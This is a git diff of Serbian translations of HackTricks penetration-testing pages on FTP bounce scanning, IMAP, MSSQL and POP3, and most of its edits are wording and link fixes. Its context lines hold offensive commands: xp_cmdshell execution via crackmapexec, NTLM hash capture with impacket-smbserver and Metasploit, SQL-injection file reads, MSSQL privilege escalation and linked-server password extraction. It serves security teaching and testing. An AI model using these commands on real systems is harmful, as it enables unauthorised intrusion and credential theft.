* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,17 +4,17 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -63,7 +63,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Internet protokol za pristup porukama
**Internet protokol za pristup porukama (IMAP)** je dizajniran sa ciljem omogućavanja korisnicima da **pristupe svojim email porukama sa bilo kog mesta**, uglavnom putem internet konekcije. U osnovi, email poruke se **čuvaju na serveru** umesto da se preuzimaju i čuvaju na ličnom uređaju pojedinca. To znači da kada se pristupa ili čita email, to se radi **direktno sa servera**. Ova mogućnost omogućava praktičnost provere emailova sa **više uređaja**, osiguravajući da nijedna poruka ne bude propuštena bez obzira na korišćeni uređaj.
**Internet protokol za pristup porukama (IMAP)** je dizajniran sa ciljem omogućavanja korisnicima da **pristupe svojim email porukama sa bilo kog mesta**, uglavnom putem internet konekcije. U osnovi, email poruke se **čuvaju na serveru** umesto da se preuzimaju i čuvaju na ličnom uređaju pojedinca. To znači da kada se email pristupa ili čita, to se radi **direktno sa servera**. Ova mogućnost omogućava praktičnost provere emailova sa **više uređaja**, osiguravajući da nijedna poruka ne bude propuštena bez obzira na korišćeni uređaj.
Podrazumevano, IMAP protokol radi na dva porta:
@ -39,9 +39,9 @@ PORT STATE SERVICE REASON
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
```
### NTLM Autentifikacija - Otkrivanje informacija
### NTLM Auth - Otkrivanje informacija
Ako server podržava NTLM autentifikaciju (Windows), možete dobiti osetljive informacije (verzije):
Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije):
```
root@kali: telnet example.com 143
* OK The Microsoft Exchange IMAP4 service is ready.
@ -117,7 +117,7 @@ Osnovna navigacija je moguća pomoću [CURL](https://ec.haxx.se/usingcurl/usingc
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Listing poruka u sandučetu (imap komanda `SELECT INBOX` a zatim `SEARCH ALL`)
2. Prikazivanje poruka u sandučetu (imap komanda `SELECT INBOX` a zatim `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
@ -127,11 +127,11 @@ Takođe je moguće koristiti složenije pretrage. npr. pretraga za skicama sa lo
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
3. Preuzimanje poruke (imap komanda `SELECT Drafts` a zatim `FETCH 1 BODY[]`)
Ako želite da preuzmete poruku, koristite IMAP komandu `SELECT Drafts`, a zatim `FETCH 1 BODY[]`.
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Indeks pošte će biti isti indeks koji je vraćen operacijom pretrage.
Mail indeks će biti isti indeks koji je vraćen operacijom pretrage.
Takođe je moguće koristiti `UID` (jedinstveni identifikator) za pristup porukama, međutim to je manje praktično jer komanda pretrage mora biti ručno formatirana. Na primer:
```bash
@ -156,7 +156,7 @@ done
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -194,9 +194,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Osnovne Informacije
Sa [wikipedije](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** je **relacioni sistem upravljanja bazama podataka** razvijen od strane Microsoft-a. Kao serverska baza podataka, to je softverski proizvod sa primarnom funkcijom skladištenja i dohvatanja podataka po zahtevu drugih softverskih aplikacija - koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući i Internet).\
@ -36,14 +36,14 @@ Sa [wikipedije](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **master baza podataka**: Ova baza podataka je ključna jer sadrži sve detalje na nivou sistema za instancu SQL Servera.
* **msdb baza podataka**: SQL Server Agent koristi ovu bazu podataka za upravljanje zakazivanjem upozorenja i poslova.
* **model baza podataka**: Deluje kao predložak za svaku novu bazu podataka na instanci SQL Servera, gde se sve izmene poput veličine, kolacije, modela oporavka i više odražavaju u novostvorenim bazama podataka.
* **Resource baza podataka**: Baza podataka samo za čitanje koja sadrži sistemski objekte koji dolaze sa SQL Serverom. Ovi objekti, iako fizički smešteni u Resource bazi podataka, logički su prikazani u šemi sys svake baze podataka.
* **model baza podataka**: Deluje kao predlog za svaku novu bazu podataka na instanci SQL Servera, gde se sve izmene poput veličine, kolacije, modela oporavka i više odražavaju u novo kreiranim bazama podataka.
* **Resource baza podataka**: Baza podataka samo za čitanje koja sadrži sistemski objekte koji dolaze sa SQL Serverom. Ovi objekti, iako fizički smešteni u Resource bazi podataka, logički su prikazani u sys šemi svake baze podataka.
* **tempdb baza podataka**: Služi kao privremeno skladište za prolazne objekte ili privremene skupove rezultata.
## Nabrojavanje
## Enumeracija
### Automatsko nabrojavanje
### Automatska Enumeracija
Ako ne znate ništa o usluzi:
```bash
@ -162,7 +162,7 @@ SELECT * FROM sysusers
- **Nivo Servera** korišćenjem prijava
- **Nivo Baze podataka** korišćenjem korisnika
3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za obezbeđenje. Principali uglavnom uključuju prijave i korisnike baza podataka. Kontrola pristupa obezbeđenjima se vrši dodeljivanjem ili odbijanjem dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za obezbeđenje. Principali uglavnom uključuju prijave i korisnike baze podataka. Kontrola pristupa obezbeđenjima se vrši dodeljivanjem ili odbijanjem dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,12 +187,12 @@ EXEC sp_helprotect 'xp_cmdshell'
### Izvršavanje OS komandi
{% hint style="danger" %}
Imajte na umu da kako biste mogli da izvršavate komande, neophodno je ne samo da imate **omogućen `xp_cmdshell`**, već i da imate **DOZVOLU ZA IZVRŠAVANJE na `xp_cmdshell` uskladištenoj proceduri**. Možete saznati ko (osim sysadmina) može koristiti **`xp_cmdshell`** sa:
Imajte na umu da kako biste mogli da izvršavate komande, neophodno je ne samo da imate **`xp_cmdshell`** **omogućen**, već i da imate **IZVRŠNU dozvolu na `xp_cmdshell` stored proceduri**. Možete saznati ko (osim sysadmina) može koristiti **`xp_cmdshell`** sa:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% kraj dodele %}
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
@ -235,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Možete proveriti da li neko (osim sistem administratora) ima dozvole da pokrene te MSSQL funkcije sa:
Možete proveriti ko (osim sysadmina) ima dozvole da pokrene te MSSQL funkcije sa:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -261,7 +261,7 @@ Možete videti kako koristiti ove alatke u:
### **Pisanje fajlova**
Da biste pisali fajlove koristeći `MSSQL`, **potrebno je omogućiti** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, a zatim izvršiti neke uskladištene procedure za kreiranje fajla:
Za pisanje fajlova korišćenjem `MSSQL`, **potrebno je omogućiti** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, a zatim izvršiti neke uskladištene procedure za kreiranje fajla:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -298,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
MSSQL vam može omogućiti da izvršite **skripte u Python-u i/ili R-u**. Ovaj kod će biti izvršen od strane **različitog korisnika** od onog koji koristi **xp\_cmdshell** za izvršavanje komandi.
Primer pokušaja izvršavanja **'R'** _"Hello World!"_ **ne radi**:
Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:
![](<../../.gitbook/assets/image (185) (1).png>)
@ -318,9 +318,9 @@ GO
```
### Čitanje registra
Microsoft SQL Server pruža **više proširenih uskladištenih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa sistemom datoteka, pa čak i sa [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
Microsoft SQL Server pruža **više proširenih uskladištenih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa sistemom datoteka i čak [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
| **Regularno** | **Svesno instance** |
| **Regularne** | **Instance-svesne** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
@ -347,18 +347,17 @@ Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffie
Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Međutim, **potrebno je `dbo` pristup** pa vam je potrebna veza sa bazom podataka **kao `sa` ili ulogom Administratora**.
[Kliknite na ovaj link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
[Pogledajte ovaj link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
### Druge metode za RCE
Postoje i druge metode za izvršenje komandi, kao što su dodavanje [proširenih uskladištenih procedura](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR skupova](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent poslova](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [spoljnih skripti](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Postoje i druge metode za izvršenje komandi, kao dodavanje [proširenih uskladištenih procedura](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR skupova](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent poslova](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [spoljnih skripti](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Eskalacija privilegija
### Od db\_owner do sysadmin
Ako se **običnom korisniku** dodeli uloga **`db_owner`** nad **bazom podataka koju poseduje admin** korisnik (kao što je **`sa`**) i ta baza podataka je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti ove privilegije za **privesc** jer **uskladištene procedure** kreirane tamo mogu **izvršiti** kao vlasnik (**admin**).
Ako se **običnom korisniku** dodeli uloga **`db_owner`** nad **bazom podataka koju poseduje admin** korisnik (kao što je **`sa`**) i ta baza podataka je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti ove privilegije za **esk. privilegija** jer **uskladištene procedure** kreirane tamo mogu **izvršiti** kao vlasnik (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -404,7 +403,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Preuzimanje identiteta drugih korisnika
SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava korisniku koji je izvršio upit da preuzme dozvole drugog korisnika** ili prijavljivanje dok se kontekst ne resetuje ili dok sesija ne završi.
SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava korisniku koji je izvršio naredbu da preuzme dozvole drugog korisnika** ili prijavljivanje dok se kontekst ne resetuje ili dok sesija ne završi.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -448,19 +447,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Izvlačenje lozinki iz SQL Server Linked Servers
Napadač može izvući lozinke za SQL Server Linked Servers iz SQL instanci i dobiti ih u čistom tekstu, dajući napadaču lozinke koje se mogu koristiti za sticanje većeg uporišta na meti.
Napadač može izvući lozinke za SQL Server Linked Servers iz SQL instanci i dobiti ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje većeg uporišta na meti.
Skripta za izvlačenje i dešifrovanje lozinki sačuvanih za Linked Servers može se pronaći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Potrebno je izvršiti određene zahteve i konfiguracije da bi ovaj eksploit radio.
Prvo, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.
Pre svega, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.
Nakon provere vaših dozvola, treba da konfigurišete tri stvari, koje su sledeće:
1. Omogućite TCP/IP na SQL Server instancama;
2. Dodajte start up parametar, u ovom slučaju, biće dodat trag za praćenje, a to je -T7806.
3. Omogućite udaljenu administratorsku vezu.
Nakon provere dozvola, treba konfigurisati tri stvari, a to su:
1. Omogućiti TCP/IP na SQL Server instancama;
2. Dodati Start Up parametar, u ovom slučaju, biće dodat trag flag, a to je -T7806.
3. Omogućiti udaljenu administratorsku vezu.
Za automatizaciju ovih konfiguracija, [ovaj repozitorijum](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte.
Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe ima potpunu skriptu koja kombinuje konfiguracione skripte i izvlačenje i dešifrovanje lozinki.
Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe ima kompletnu skriptu koja kombinuje konfiguracione skripte i izvlačenje i dešifrovanje lozinki.
Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom:
[Dešifrovanje lozinki za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
@ -495,7 +494,7 @@ Verovatno ćete moći **da se eskalirate do Administratora** prateći jednu od o
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -565,7 +564,7 @@ Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -4,17 +4,17 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikova slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
## Osnovne Informacije
**Protokol za poštanski ured (POP)** je opisan kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za izvlačenje i **preuzimanje emailova sa udaljenog mail servera**, čime se omogućava pristup na lokalnom uređaju. Pozicioniran unutar aplikativnog sloja OSI modela, ovaj protokol omogućava korisnicima da preuzimaju i primaju emailove. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu, i naknadno njihovo uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se ističe kao najčešće korišćena verzija.
**Protokol za poštanski servis (POP)** je opisan kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za izvlačenje i **preuzimanje emailova sa udaljenog mail servera**, čime se omogućava pristup na lokalnom uređaju. Pozicioniran unutar aplikativnog sloja OSI modela, ovaj protokol omogućava korisnicima da preuzimaju i primaju emailove. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu, i naknadno njihovo uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se ističe kao najčešće korišćena verzija.
**Podrazumevani portovi:** 110, 995(ssl)
```
@ -44,9 +44,9 @@ Možete koristiti komandu `CAPA` da biste dobili mogućnosti POP3 servera.
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info` dodatak će vratiti neke "**osetljive**" podatke (verzije Windows-a).
`pop3-ntlm-info` plugin će vratiti neke "**osetljive**" podatke (verzije Windows-a).
### [POP3 napad brute force](../generic-methodologies-and-resources/brute-force.md#pop)
### [POP3 brute force](../generic-methodologies-and-resources/brute-force.md#pop)
## POP sintaksa
@ -66,7 +66,7 @@ CAPA Get capabilities
```
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials using tools like Hydra or Metasploit. Additionally, you can use a tool like Wireshark to capture POP traffic and analyze it for potential vulnerabilities. Another common attack vector is to perform a man-in-the-middle attack to intercept POP credentials sent in plain text.
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for misconfigurations or vulnerabilities in the POP server that could lead to unauthorized access.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -96,16 +96,16 @@ password: PA$$W0RD!Z
Sa [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Postavka** | **Opis** |
| ------------------------- | ------------------------------------------------------------------------------------------ |
| `auth_debug` | Omogućava sve autentikacione debag logove. |
| `auth_debug_passwords` | Ova postavka podešava nivo logovanja, unete lozinke i šema se loguju. |
| `auth_verbose` | Loguje neuspešne pokušaje autentikacije i njihove razloge. |
| `auth_verbose_passwords` | Lozinke korišćene za autentikaciju se loguju i mogu biti skraćene. |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Omogućava sve zapise za debagovanje autentikacije. |
| `auth_debug_passwords` | Ova postavka podešava nivo detalja zapisa, unete lozinke i šema se beleže. |
| `auth_verbose` | Beleže se neuspešni pokušaji autentikacije i njihovi razlozi. |
| `auth_verbose_passwords` | Lozinke korišćene za autentikaciju se beleže i mogu biti skraćene. |
| `auth_anonymous_username` | Ovo određuje korisničko ime koje će se koristiti prilikom prijavljivanja pomoću ANONYMOUS SASL mehanizma. |
**Try Hard Security Group**
